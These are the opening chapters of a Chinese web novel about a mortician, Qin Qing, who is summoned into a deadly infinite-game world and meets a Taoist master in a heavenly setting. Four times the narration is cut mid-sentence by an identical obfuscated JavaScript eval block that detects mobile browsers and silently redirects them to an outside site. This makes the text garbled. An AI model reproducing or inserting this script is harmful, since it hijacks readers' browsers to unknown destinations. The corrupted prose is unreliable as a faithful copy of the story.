《神级召唤师[无限]》 1. 相亲 “我的职业么?我是一个殡葬师。” 位于欧洲某地,装修精致、格调高雅的西餐厅里,身着燕尾服的小提琴手正微闭双眼,陶醉地拉着一首一首暧昧婉转、情意绵绵的小曲。 忽然,靠近餐厅门口的双人座上,传来噼里啪啦玻璃杯碎裂的声响。 安静用餐的外国食客脸上都染上一抹被打扰的不虞,他们纷纷扭头看去。 皮质的双人座上,正坐着一对年轻男女,金发男子正躬着腰,拿出纸巾,涨红着脸颊,略显狼狈地擦拭着桌上充满水渍的狼藉。 这家餐厅吸引人流的最大特色——碳黑色的杯座,则完好无损地立于桌面。 稍微一想,就猜到是盛酒的玻璃杯,碎了。 面对男子的慌里慌张,娇小玲珑的黑发女子却单手撑着下巴,半睁着一双丹凤眼,百无聊赖地睨着他,玩偶般精致的脸上,尽是一片事不关己的漠然。 末了,她端起杯座将杯中的果酒一饮而尽,随后站起身来,天鹅般的修长脖颈一扭,将肩头的发丝甩至脑后,虽然个子不高,但却显出一种凌厉的气势,让人一瞬间联想到锋利的刀刃。 神秘、危险,似乎还夹杂着一丝若有若无的血气。 饱满的嘴唇吐出无情的话语,将这次约会盖棺定论。 “ok,本次相亲,到此为止。” 女子故意选在靠近门口的位置,就是为了能够第一时间脱身而去。 依照过往的经验,差不多职业说完,相亲就会戛然而止。 即便有纠缠,最多也不过是…… “等等!殡葬师?秦轻,你肯定在骗我,对不对?” 男子拉住她的袖摆,脸上红晕未褪,眸中尽是被愚弄的恼怒,他的声音不由得扬高了好几度。 重音尤其放在了“殡葬师”三个字上,一时间诺大的餐厅仿佛还回荡着余音。 “吱呀——”小提琴手拉破了调,G弦一断,婉转的琴声变得难以入耳。 在座的食客纷纷倒吸一口凉气,愕然的瞪大眼睛,发出晦气的喊叫,他们眼神躲闪,脸上划过一丝难掩的恶心,就好像沾染了什么不洁之物。 “我的上帝!真是倒胃口,吃不下去了!” “一个殡葬师,怎么会进入这家餐厅!” “我发誓,以后再也不来了!” 食客们撕扯□□面的伪装,全在愤怒地赌咒发誓,发泄怒气。 “但这个杯座,造型实在别致,一想到以后见不到了,心里还有些可惜,要不问问餐厅卖不卖吧?” …… 种种声音纷至沓来,眼看食客们一甩用餐的方巾,陆续起身,一个个拿起爱不释手的杯座,往前台走去。 秦轻不免嗤笑一声,漂亮的丹凤眼朝天一翻,清脆的声音在餐厅内响起: “喂,你们想不想知道,这家店最大的特色,你们心心念念的碳黑色杯座,它究竟是用什么原料制成的呢?” “是人头啊,死者的头颅,去了头骨的皮肉。” “是不是很惊喜很意外?” “你们一直都在抚摸着死者经过处理的头部皮肉,还对此赞不绝口,真是让我意外。” “不……不可能……它那么小,怎么可能是人头呢?”面对脚步停顿、原地呆滞、化身复读机的一众食客。 秦轻的唇角微勾,端起“特色”杯座,举到眼前,一边仔细地端详,一边好心的科普: “我猜你们一定不知道缩头术吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111970|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然它在上世纪的六十年代就已经被废除,但它的确曾是南美洲舒阿尔族独有的文化象征哦。” 白皙纤瘦的指尖,顺着杯座轮廓的起伏,依次虚虚地落在闭合的双目、缝合的双唇上:“缝上眼皮,是不想让亡灵注视你,紧锁的嘴巴,是为了阻止亡灵说出诅咒的密语,一切都是为了防止亡灵的报复。” “拆除头骨、炖煮缝合、加工风干,宗教仪式、商业艺术品?多少无辜的人,因此丧命。” “从古至今,它们的灵魂不得安息。”封在头颅里的灵魂,会盯上每一个接触过它的人。 秦轻还想再说点神神叨叨的,吓一吓这帮瞧不起她职业的人,兜里的手机就意外响个不停。 划开一看,果不其然,是上司的电话: “秦轻!赶紧回来,又死人了!” “shit!这已经是本月死掉的第999个!停尸间都快被塞满!验尸房需要你!” 面对组长的火烧眉毛,秦轻一边攥紧手机,一边快速地往外跑去,动作急切,可是说话的声音却是不疾不徐。 “可是,组长……”她故意拉长了音调,状似为难,细听之下,竟还透着股羞涩和腼腆:“我还在相亲呢,如果就这么走开,怕是会失败。” “你相亲失败,关我啥事!就你的性子,我还不知道?就是注孤身的命!” 电话里的组长笑骂一声:“别讲恁多废话,也别动啥歪心思,赶紧过来!” 秦轻见被识破,声音一瞬间恢复正常,她面无表情地谈起了条件,口中唾液悄悄分泌: “请我吃猪蹄,我就去!” “胆子不小,敢和我谈条件?也不是不行,但你给我立个军令状,打算验多少具尸体!” 2. 真相 “天啊,她怎么能吃的下去?” 验尸房的台阶上,坐着一个娇小的身影,一手抓着油乎乎的猪蹄,在外国同事惊愕得快要昏厥的眼神里,津津有味地吃着,另一只手捏着一杯绿幽幽的抹茶,咕嘟咕嘟地猛吸一口。 “吃饱了吗?”一旁身材高大的组长,睁着一双眼,虎视眈眈地瞪着她。 “差不多吧。” 她吸完最后一口抹茶,喉咙微动,拍了拍平坦的肚皮,心满意足地打了个小小的饱嗝,终于朝组长投来含笑的一眼,眉眼弯弯,脸颊处的梨涡也显了出来,搭配微微蜷曲的空气刘海,更显娇俏可爱。 她站起身来,伸了个懒腰,将身上敞开的纯白制服缓缓扣上,这才转身,慢吞吞地往验尸房里走。 “喂,秦,你的肠胃还好吗?”金发碧眼的美女同事一边说,一边做出一个呕吐的动作:“有没有想吐什么的?在我面前,不用逞强。” 秦轻奇怪地瞥了她一眼:“我很好,吃好喝好以后,好得不能再好。” “可是,这实在太不可思议!要知道你才接触过一具被烹煮的碎尸,和一具浑身发绿的高腐尸体,那具被烹煮的碎尸,尤其是双手的部位都快被煮烂,完全采集不到指纹。” 说到这里,美女同事停顿一下,才凑近她的耳边,有点泛恶心,又有点看好戏地说:“而且,你不觉得……你刚刚吃进肚子里的猪蹄和抹茶,和那两具尸体,在某些方面,挺像的吗?” 她深蓝色的眼睛,宛若x射线,不放过秦轻所有的微表情,她等着看这个一向冷淡的同事出现干呕、反胃等反应。 只可惜,秦轻注定要让她失望。 “哪里像了?”来自东方的黑发少女睁着一双清冷如刀的双眼,“尸体是尸体,食物是食物,难道你分不清?” “看来你还不够专业。” 秦轻轻笑一声,随后褪下手腕上的发绳,叼在嘴里,双手绕过后脑勺,将长发高高束起,明亮的阳光透过玻璃窗,落在瓷砖铺就的地面,其中一缕折射在她的身上,给瓷白的肌肤罩上一层暖融融的金光,神圣的,宛若天使降临。 美女同事不禁呆怔,再回神,只瞧见秦轻飒沓向前的背影,还有一句十分客套的:我还有事,先走一步。 “天呐,她好帅!” 验尸房里处于工作状态的秦轻,无论看多少次,都会让人惊叹不已。 玩偶般精致娇小的少女,戴上乳胶手套,将运尸袋里的尸体通过托盘转移至解剖台,袋口拉开的瞬间,无论里面出现的是怎样死状狰狞可怕的尸体,她都能面不改色地动用解剖刀,按部就班而又雷厉风行的,先从尸体的右耳后侧开始,沿着脖子划下。 先切“V”字形,再切“Y”,直到取下胸骨,开始检查内脏。 这次编号为14444的尸体似乎格外不同,袋口刚一松开,一股甜腻的香气扑鼻而来,在场所有人的大脑都情不自禁地晕眩,在他们眼中,逐渐流露出对这具尸体垂涎欲滴的渴望。 一时间,验尸房内吸溜吸溜的口水声四起! “它闻上去实在太美味了,让我十指大动,完全无法自抑。” “拜托,请让我尝一口,小小的舔一口就好,它真的好香。” 同事们全像被人下了降头,一个个饥不择食地往解剖台扑来,秦轻瞥了他们一眼,果断从解剖台底部的挡板上拿出一瓶喷剂,随后屏息,摁住开关向四周喷洒。 说时迟那时快,恶臭的气味瞬间充盈整个房间,张牙舞爪地涌进众人的鼻腔,“呕——”不断的干呕声响起,成功抵消了“想吃尸体”的欲望。 清醒后的众人,经此一遭,看向秦轻的眼神全都不一样:谁说秦是毫无底线的吃货来着!她根本就是太有底线了! 美女同事回忆起秦轻在过道上说的那一句话,“尸体是尸体,食物是食物,难道你分不清”,整张脸就像活生生被人扇了几巴掌一样,羞愧的不行。 担心再被尸体诱惑,做出破廉耻的事来,他们全都站的很远,将解剖台四面的玻璃墙放下,甚至还有同事戴上了防毒面具。 秦轻见他们全都准备就绪后,才将裹尸袋完全拉下。 等尸体破碎的头骨出现在眼前,全场的干呕声愈烈。 无它,实在是因为太恶心了,半腐烂的头颅上,一半是像浸水纸似的皮囊,臃肿地挂在半边颅骨上,一只爬满蛆蛆的眼球由于血管的勾连,勉强粘结在黑洞洞的眼眶下方,鼻孔、耳朵处有大量液体流出,可另外半张脸,却是完全木乃伊化,颈肩处则是带着肌健的半骨化状态。 最奇怪的是,尸体的前额居然多了一个骨质的犄角!肩胛骨的位置更是多了一对类似于蝙蝠翅膀的骨翼。 仅凭经验,死亡时间完全无法确定,确切地说,在现实生活中,根本就不可能存在这样一具尸体。 只看半边半腐烂的脸,可推测死亡时间在一周以内,可是从另外半张脸来看,死亡时间却是超过了一年。 而且,这具尸体真的还是人类吗? 如果是一年以前,大家都会猜测这是不是某些变态杀人犯的恶作剧,杀人后再进行骨头拼接? 可是经历过种种离奇尸体的现在: “妈的!又是高度异变的腐尸!秦她到底是什么运气?难道正应了业内的戏称——异尸专家?” “还有呢!霉运验尸机!她的另一个外号。” 虽然刚入行不久,但只要是秦轻接手的尸体,哪怕是随机划分,异变率都高达99%,高腐生蛆、碎尸烹煮已经是再小儿科不过。 同事们纷纷心有余悸,暗道:如果是自己,恐怕早就转行,另谋高就,真是难为秦每次验完尸后,还能吃的那么香。 组长戴上防毒面具,打开玻璃墙,走到近前仔细观察了一下,果断拨通了超自然研究所的电话。 电话接通后,对面也没废话,直接问了句:“又发现一具异尸?” “对,编号14444,头有犄角,背有双翼,类似于蝙蝠。” “妈的!放眼全球,已经出现好几万具异尸了!” 电话那头长长叹了口气,语气里夹杂着深深的疲惫,对未来的迷茫,以及满心无法发泄的焦躁! 难道网上有些人所说的“灭世之劫”,真要到了? “情况不容乐观,可我们偏偏还不知道究竟发生了什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111971|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每次发现异类,都已经是一具冰冷的、不会说话的尸体!你们这些和尸体打交道的人,口口声声说要为死者代言,要让尸体重现真相!那你们倒是说出个所以然来啊!” “我……”组长张了张嘴,最终无力地垂下头颅,轻轻地说了声:“抱歉。” “就知道抱歉!抱歉有什么用!一群酒囊饭袋!我们可是花了高薪把你和你的团队聘过来的!既然屁用都没有,那就赶紧收拾东西滚回你们的国家!” 电话那头,忽然像是找到了发泄口,将全部的怒火都撒到组长身上,仿佛组长就是导致全球异变的罪魁祸首! “先生,请您冷静,我和我的……”组长涨红着脸,拼命组织语言,试图解释,可是却被对方无情地驳回。 “给我闭嘴!千万别和我说,你们过来这一年内验了多少尸,出过多少次外勤,又亲自进入过多少险地,这些都不重要,我只要结果!而你们给不了我结果,就等着面临巨额的违约金,甚至是长达数十年的牢狱吧!” “不,先生,您不能这样……我的团队里还有很多青春年少的新人,他们的未来不该在冰冷黑暗的监狱里度过……请求您……”再给我们一次机会。 眼瞧着组长一个虎背熊腰的东方汉子,为了团队,不惜舍弃全部的自尊,拼命哀求着电话那头不具名的某人。 秦轻眸色微动,她快步走了过去,脱下乳胶手套,一把抢过手机:“别急着将所有的过错都推到我们的头上,ok?我们的工作职责仅仅只是在尸体方面,调查不出异变的真相,却是你们的无能,而且谁说我们只是一群酒囊饭袋?” 她唇角微勾,双眼迸发出坚定的光亮:“尸体不会说谎,我们一定能找到死亡的真相。” 啪,话音刚落,她毫不犹豫地挂断电话,将手机扔给瞠目结舌的组长。 组长手忙脚乱地接过手机,怔怔地盯了秦轻一眼后,毫不犹豫地比了个大拇指:“飒!这才是咱们这行该有的工作态度!” “都快动起来,今天还有好多具尸体正等着我们!” 就在验尸房内的所有工作者,被秦轻的态度感染,验尸热情空前高涨之时。 “滴”一道很轻的声音响起,就像风过回廊一般,很轻,但却无法忽视。 玻璃窗外的阳光依旧明亮绚烂,瓷砖地面干净地能照出人的身影,验尸房里每个人的脸上都洋溢着大干一场的决心。 可随着“滴”声的落下,一切就像被摁下了暂停键! 渐渐的,这些真实世界的影像,开始变得扭曲,于某一时刻达到顶点,砰的一声爆炸、散去。 与此同时,一个黑白灰交错的虚幻空间正在不断地凝聚,将秦轻包裹其中,再难逃离。 一行血红的大字浮现在她的眼前: 【恭喜你被选为第三批内测的玩家!】 【想知道全球异变的真相吗?】 【无限世界“诸神时代”,将会给你解答!】 【游戏简介:诸神时代,神迹降临,神灵之下,俱是蝼蚁!想获得神的力量吗?那就从信徒开始做起!将身心奉献于神灵,你也将得到神的垂青,为神开疆拓土,为神战死到底!】 3. 副本一 神? 秦轻心里刚缓缓闪过一个问号,就见血字一变: 【游戏开始,第一个副本,场景传送中——】 【任务:帮助一方势力攻占“多洛城”,任务成功,奖励一千积分,任务失败,抹杀!】 【经检测,你的初始天赋是】:一、血肉可活死人、肉白骨(不可作用于己身) 二、召唤图卷和封印笔(当前等级:菜鸟级,只可封印灵魂体量小于100的东西) 三、殡葬师技能,如解剖刀、缝合线(均可作用于灵魂和□□) 【当前精神力:F(可提升)当前武力值:F(平平无奇)】 【幸运值:E(无可救药)】 【预言书综合评定:你将在游戏里成为一块行走的唐僧肉,虽然潜力巨大,但注定活不过黎明!(预言书建议:与其等着被杀,不如干脆自绝!) 秦轻睁着一双黑曜石般的眼睛,静静凝视着预言书给出的建议,忽然唇角一勾,轻声笑了:预言么?我从来不信。 说我活不过黎明,我偏要长长久久地活下去! 心思电转间,眼前的视野一变,原来是副本场景加载完毕。 瞧着面前恢宏壮丽的一幕,秦轻震惊到久久失语,好半天才找回自己的声音: 难道这就是传说中的……天堂? 只见云端之上,白玉砌成的宏伟宫殿闪着金光,空中不断落下金色的翎羽,好似下了一场金雨,宫殿正门,十二金桥蜿蜒而下,连接宫殿与云的彼端,无数长着翅膀、头顶光环的天使,正展翅翱翔,欢声笑语。 一派繁荣的、平和的景象。 离秦轻不远的地方,一群年轻的天使坐在棉花糖似的云朵上,喝着花茶,分享着奶香味四溢的蛋糕。 秦轻看着他们手里攥着的美味,不由得吞咽一下。 如果能够住在这里…… “啧啧,乾方地面有林木,妇女□□亡佳夫,坤向流水死亲母,子孙后代遭孤苦。这座宫殿的外围格局还真是好,简直好的不能再好,设计此处布局的同行,还真是不遗余力地想要坑死天使啊!” 悠长的叹息,细听之下又有些幸灾乐祸的声音响起,未见其人,先闻其声,秦轻循声看去,只见一穿着黑色长袍,手拿罗盘的长发男子从云中走来,他的前襟还贴了个黄符,上书“隐身诀”三字。 “阿轻,对吧?自我介绍一下,我名慕容断,对外身份是一名玄级天师,天师公会代号“野狐”,这次神主派下的任务,便由你和我——” 慕容断用罗盘指了指秦轻,又悠哉悠哉地指了指自己,眉梢微扬,唇角含笑,娓娓道出: “打头阵了。” 秦轻眉心一跳:“你知道我?” “自然知晓,神主让你与我在此接头,你瞧,咱两身上可贴着同款的隐身符呢,这可是我亲笔所书,我还能认错?” 慕容断,虽是男人,却长了一张过分艳丽的脸,现在朝着秦轻放电似的眨了眨眼,若是一般的小姑娘早就脸红了,可秦轻却不为所动,一丝表情波动也无,慕容断不禁感到些许挫败,却也对眼前这个合作者的兴趣更甚。 “你很特别。”他缓缓笑开,上身微弯,靠的更近,鼻端轻嗅。 秦轻后退一步,四肢蓄力,眸色戒备:“我觉得你的代号不该叫狐狸。” “那该叫什么?” “孔雀。” 太骚包。 慕容断一讶:“或许,我可以把它理解成对我容貌的称赞?” 秦轻有点无语地斜瞅着他:随便你吧,自恋狂。 就是这一瞅,从对方浅淡如琉璃的眼瞳里,她窥见自己现在的模样。 纯白的四翼、金色的光圈,一身洁白的长袍,与黑袍的慕容断站在一处,好似黑白双煞! 万万没想到,她现在竟然是一名天使!至少看上去是! 秦轻瞳孔地震! 与此同时,心里却暗暗思索,自己表面的身份是天使,慕容断是天师,一个天师一个天师,居然共同信奉一个神主,还要二人合作打头阵? 况且,按照慕容断的说辞,她在第一个副本里的身份,并非无名之辈,那就只能是角色扮演! 当务之急,是得摸清她所扮演的究竟是什么角色。 首当其冲的问题就是:神主是谁? 她如此想,也如此问了,慕容断颇为奇怪地瞥了她一眼,那一眼暗藏犀利的怀疑,在人间很多资深同事都有此类眼神,若是常人,早被盯得心惊肉跳、虚汗直冒,但秦轻早已练出一颗大心脏,任凭对方怎么看,始终面色平静,一丝破绽未露。 瞧上去,反倒像是在考察慕容断似的。 慕容断含笑的神情微敛,以指做笔,写下了一个奇怪的符号,有棱有角,如同刻刀所雕,写毕,他眉梢轻挑,好整以暇地望着她。 “卢恩符文……”秦轻轻声呢喃,随后做了个北欧神话里向神主奥丁祷告的手势。 慕容断见状,不知何时虚摁在罗盘离火位置的指尖,悄然一收。 如此细微的动作,没能瞒过秦轻的眼睛,她忽然感谢自己跟随团队去到欧洲,在欧洲的一年,看了不少闲书,不然现在尸体肯定已经凉透,也就应了预言书那句活不过黎明的话。 刚从鬼门关险险走过的秦轻,并未收敛,转而问起了另一个问题,态度随意: “你说设计宫殿外围的,是你同行?” “自然,只是我的这位天师同行大概是撒旦的信徒,他恨极了天使,你瞧瞧,宫殿前的花园里有直道直冲大门,这在风水里叫做暗箭难防,长此以往,此处的新生天使容易残疾,宫殿主人将有短命之相。” 慕容断指了指花园里的金光长道,指尖一偏,又移向气派优雅的园门:“门前有此格局,且朝北,俗称玄武驮尸,大凶,时间一长,此处的天使就容易想不开,自我毁灭。听说上个月,已有二十名天使吟唱黑魔法自杀,天堂小报的记者早报导了,只是没几人看出缘由。” 说到这里,他眉梢一挑,下颚一抬,像是在说“我厉害吧!” 秦轻的视线,随着对方的话语而动,她轻启朱唇: “西方宗教里的天堂,居然请了东方的天师搞环境设计?” 语气几分费解。 “你还真是刚从米德加德出来的纯新人啊。”慕容断大感讶异,不过还是稍微解释了一番:“现在可不分什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111972|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东方西方、古神新神,诸神时代降临,像我们这些小喽啰所要做的,就是信仰某位神灵,做祂的信徒,得祂庇护,受祂差遣,同一势力下的人,可能都有不同信仰,各为其主,就比如天师公会。” 慕容断顿了一下,才指着自己继续说:“我本身是天师,受到神主感召,自愿成为祂的信徒,供祂驱使,而你,本身就是祂的信徒,奉神主之命,二十年前潜伏于天堂,假名阿轻,七天之前潜入天师公会,代号阿轻,现在又要和我去地狱当卧底,你去地狱的假名想好了吗?还是阿轻?” “喂,你怎么不说话,傻了吗?” 慕容断的手掌在秦轻面前晃了晃,指尖几乎都要挨到她的鼻尖。 殊不知,秦轻的三观正遭遇着前所未有的冲击! 冲击太过,以至于眼前一黑,特别想要昏厥过去。 “有猪蹄吗?我想要来一个猪蹄,压压惊。” 慕容断:“……” 有点无语。 “你咋了?”长发男人戳了戳她。 秦轻慢吞吞地转过头去,心里全是“潜伏”、“潜入”、“卧底”这一类的字眼! 太吓人了吧,只是第一个副本而已,她这都多少个身份了! 难道幸运E就这么可怕? “假名想好没有?”他又屈指戳了戳,看见她那头乌黑浓密的秀发,有点手痒地想要拽一拽。 在指腹即将触及发梢的一刻。 “就摆烂吧。” 秦轻迷迷瞪瞪地说。 “什么?”慕容断也瞪着一双眼,他没怎么听清。 “我说,假名——摆烂。” 秦轻轻启朱唇,一字一顿。 “那我就叫咸鱼?”慕容断喷笑出声! 于是,地狱卧底二人组的假名,就这么糊里糊涂地定下。 “不过,你真的好香啊,赶紧把身上的香味去一去。不然,恐怕会被这次地狱请帖的主人——暴食,盯上,当心尸骨无存,成了他的盘中餐。” 慕容断提醒完秦轻,便从兜里掏出一张黑金色请帖,请帖上画着人类的内脏,不断滴下的血液,足以证明它脱离人体时的新鲜,下方有一行小字: ——食人盛宴,特邀同好者光临,和我一起吃掉他们。 请帖主人一栏,上书“别西卜”。 暴食?秦轻瞳孔微缩。 别西卜正是代表暴食的魔王! 没想到此次地狱之行的招待者,来头居然这么大,竟是地狱七魔王之一! “我们是不是需要伪装一下?” 饶是秦轻再冷静,也被接二连三的冲击,扰乱了心境,她的语气开始出现了波动。 “伪装不急,神主早有安排,关键是你满身的香气,一定得去掉才行。” 慕容断伸出食指,左右摇晃,表示不急。 满身香气?秦轻举起胳膊,四下闻了闻,却是什么异味也没闻到。 总不能是慕容断的鼻子特别尖吧?她难免狐疑。 电光火石间,她忽然想起了她的天赋技能,第一个是什么来着? ——自身血肉,可活死人,肉白骨。 相当于行走的唐僧肉。 4. 副本一 “天堂有墓园吗?” 秦轻看向慕容断,面无表情地问。 “啊?”慕容断眨了眨一双风流眼。 “或者坟场、乱葬岗一类的?” 秦轻觉得自己认真得不能再认真了,可慕容断偏偏像听了笑话似的,笑出了猪叫! “我没开玩笑……”她一本正经地强调,可那厮已经笑岔了气。 “算了……” 秦轻不禁眼前一黑,只觉得天要亡她,如果能找到尸体,用尸臭或许能掩盖她自带的天赋属性? “我说,你这脑袋瓜子里都在想什么啊。”等慕容断笑够了,方才直起腰来,唇角含笑地打趣道:“你该不会想借尸臭来遮掩味道吧?至于吗?明明洗个澡就好,干吗费这么大劲?而且,这里可是天堂啊,哪有你说的那些地方?” “天堂就不处理死亡的天使尸体?” 秦轻睁着一双乌溜溜的、黑白分明的眼睛,有点较真地问。 “当然处理,但绝不在这里。”慕容断笑意一收,显然不想多说。 秦轻的好奇心也没那么重,自然没有再问。 过了一会儿,反而是慕容断受不了沉默的气氛,像是投降似的,叹了口气说:“喂,你就这么想去坟场吗?” “你有办法?” 秦轻唰的一下抬眼看他,这般直接的反应,倒让慕容断怔住,继而哑然失笑:“看来你还真是非去不可啊?” 他无奈地摇了摇头,一边在身上摸索,一边轻声嘀咕:“我可真是服了你,口味居然如此独特。” “喏,瞧见没有。”慕容断神神秘秘地掏出一把钥匙来。 那钥匙拿出来的瞬间,秦轻还以为对方在与自己开玩笑,说是有办法,实际根本就是在戏弄她。 但等她仔细看过去时,眼睛却移不开了,钥匙初看朴实无华,寻常不已,甚至缝隙间难掩斑驳锈迹,可一旦仔细观察,却发现其上有着极为细密的纹路,精致华丽,那纹路像是一个通往异世界的符咒,诡异而充满魅力。 秦轻的指尖,下意识地朝它探去,却在即将触碰到的刹那,被慕容断捧着钥匙避了过去。 “哎,看看就行,这可是天师公会的秘宝。” 慕容断笑的得意:“为了偷它,我可是费了好大一番力气,想当初,天师公会曾经向诸神放话,谁敢动它,就是与整个东方玄学界为敌,也因为它,偷盗者在论坛上的悬赏已经高达十亿灵币。” “所以,千万别卖我,毕竟这事可是连神主都不知道的啊。” 面对慕容断贱兮兮的笑,秦轻不禁翻了个白眼:“我还没有那么闲。” “那就好,现在我就带你长长见识,这个秘宝里可是藏着一个超大的远古坟场,一定会惊爆你的眼球!” 说着,只见慕容断将钥匙往空中一抛,以指做笔,以血为墨,于虚空中画出一道无比繁杂的符文,随后念念有词,那声音晦涩难懂,如同彼岸的呼唤,光用耳朵听,就感觉灵魂变得飘飘然,仿佛随时可以脱离肉身而去。 秦轻摇了摇头,极力摆脱这种玄而又玄的虚幻感。 “青龙白虎守四方,朱雀玄武顺阴阳,开!” 随着最后一声咒语的落下,虚空之中凭空出现了一扇黑红色的大门,门上贴着的封印条符缓缓飘落,“噌”的一声,大门自中间裂开一条缝隙! “屏住呼吸,门开的一刻,那可真是尸臭冲天,当初第一次开门,可差点没把我熏晕过去,对了,只有五分钟时间,进是进不去的,谁都进不去,但用眼睛看看,长长见识也是好的。” “你说对吧……阿轻?!” 慕容断趁着大门尚未完全开启,赶紧喋喋不休地交代,可交代到一半,忽然发现人没了! 阿轻,那么大一活人,居然凭空消失了! 大变活人都不敢这么演! “阿轻?”他大声呼喊,心里却划过一个荒诞不经的念头:阿轻……该不会进到门里了吧? 这念头不可理喻,因为自古以来从未有人进去,可眼下伴随着阿轻的消失,却由不得他不信。 他的双眼望进门内,却被一层浓重的雾气遮掩,犹记得上次还不是这样,难道真是因为阿轻? 但怎么可能!这扇门至少存在了上万年,阿轻才多大? 伴随着一阵猛烈的失重,秦轻的意识陷入晕眩,等短暂的昏沉过去,她迷迷瞪瞪地睁开了眼,却被眼前的诡异震惊到失语! 黑、红、白,组成这方世界全部的色彩! 黑是浓稠如墨的永夜、堆叠如山的棺材,红是流淌如河的血液、蜿蜒怪异的树光,白是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111973|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴尸荒野的枯骨、阴寒肆虐的白雾。 秦轻在极致的寒冷中,忍不住打了个哆嗦,她裹紧了身上单薄的天使白袍,觉得此刻的自己就像是误入禁地的幽灵。 一切都阴森至极,沉寂如死神降临,她恐怕是唯一的活物。 她睁大双眼,极目远眺,首先撞入眼帘的是一个巨大的女性雕像,由于太过巨大,纵然秦轻将脖颈仰望到人类极限,最多只能窥见雕像的下巴,无法得见容颜。 雕像身着长袍,双手于胸□□叠,掌心似乎捧着一个圆形器物,由于太过遥远,看不真切,但秦轻推测是法器一类。 雕像的上半身完全被夜色浸染,散发出极致的黑亮,下半身却被白雾侵袭,透出灰白的暗芒。 四周分布着四大神兽的雕像,成环状包围整个秘境。 玄学界常以青龙、白虎、朱雀、玄武作护卫神,以壮威仪,“三清”之一的太上老君,护卫更是以“左有十二青龙,右有二十六白虎,前有二十四朱雀,后有七十二玄武”著称。 秦轻目测此处神兽的数量,倒也不比太上老君差什么了。 如此说来,雕像所刻的女子,若非地位崇高,那便是有大功德。 仔细一观四神雕像护卫的姿态,秦轻眉心一跳,与其说它们护卫着女子的雕像,不如说是镇守着这个巨大的远古坟场! 果不其然,在四神雕像的包围圈内,她竟看见了十殿阎罗、五方鬼帝的塑像,塑像上贴着阎罗、鬼帝独有的封印。 十五尊塑像,头戴金冠,腰系玉带,面目清晰,气宇轩昂,原本应是泥塑彩绘,却在无尽的岁月里,被阴气缠绕,外表的泥层逐渐褪色剥落,露出灰白的内里。 坟场里究竟有什么,居然值得这么大排场? 秦轻不禁细细观察起前方隐于茫茫白雾后,那堆叠如山的棺材,以及暴尸荒野的枯骨。 这一看,就察觉出异样来! 在极致的黑与白之间,无边的血色中,竟然有一口悬棺! 那悬棺,漂浮在空中,被无数血红的锁链缠绕,锁链的另一头伸向四面八方,连接着整片秘境,就像是此方小世界的中心,或许也可以说是……阵眼? 没来由的,她忽然想到“阵眼”二字,可真等它浮上心头,她的心脏却因为这二字重重一跳! 5. 副本一 这方天地无尽的血色,似乎就来自于这口悬棺。 悬棺隐藏于古木的树杈间,那古木异常高大,散发着诡异的红光,树皮上竟是密密麻麻鼓起的人脸,人脸全都瘦到脱型,作万般惊恐状,宛若一个个表情狰狞的骷髅。 树顶是一个巨大的人面,双唇大张,双眼紧闭,那虬曲的枝干疯长在人面的脑后,就像是它浓密粗硬的头发。 缠缚悬棺的血红锁链,另一头向下坠入深不见底的血池深处,向上勾连暗夜,中间的锁链则死死地钉入树端人面的喉咙,以及巨木的根部。 树杈后面似乎还有别的东西,秦轻向前几步,凝神细看,不禁疑窦丛生。 只见那悬棺四周,竟然安放了一座悬浮的宫殿,奈何桥、鬼门关、无常殿、轮回殿……还有将悬棺包围其中的宏伟正殿,最前方还有一座气势磅礴的山门,匾额上有字,只是已在长达万年的岁月中斑驳、剥落,再难辨认…… 这规格,说是鬼帝庙宇都不为过! 悬棺的主人究竟是谁? 最奇怪的是,山门前亦有大量石像镇守,那石像颇具灵性,其上密布着强大的封印符咒,与四周的雕像很不一样。 紧临山门的石像,是青龙、麒麟一类的神兽雕像,可是稍远一些的石像,却是饕餮、睚眦等凶兽的形象。 这样的宫殿,这样的布局,悬棺之主明明极尽尊贵,可棺木周身却偏偏密布着捆缚的锁链、极致的封印。 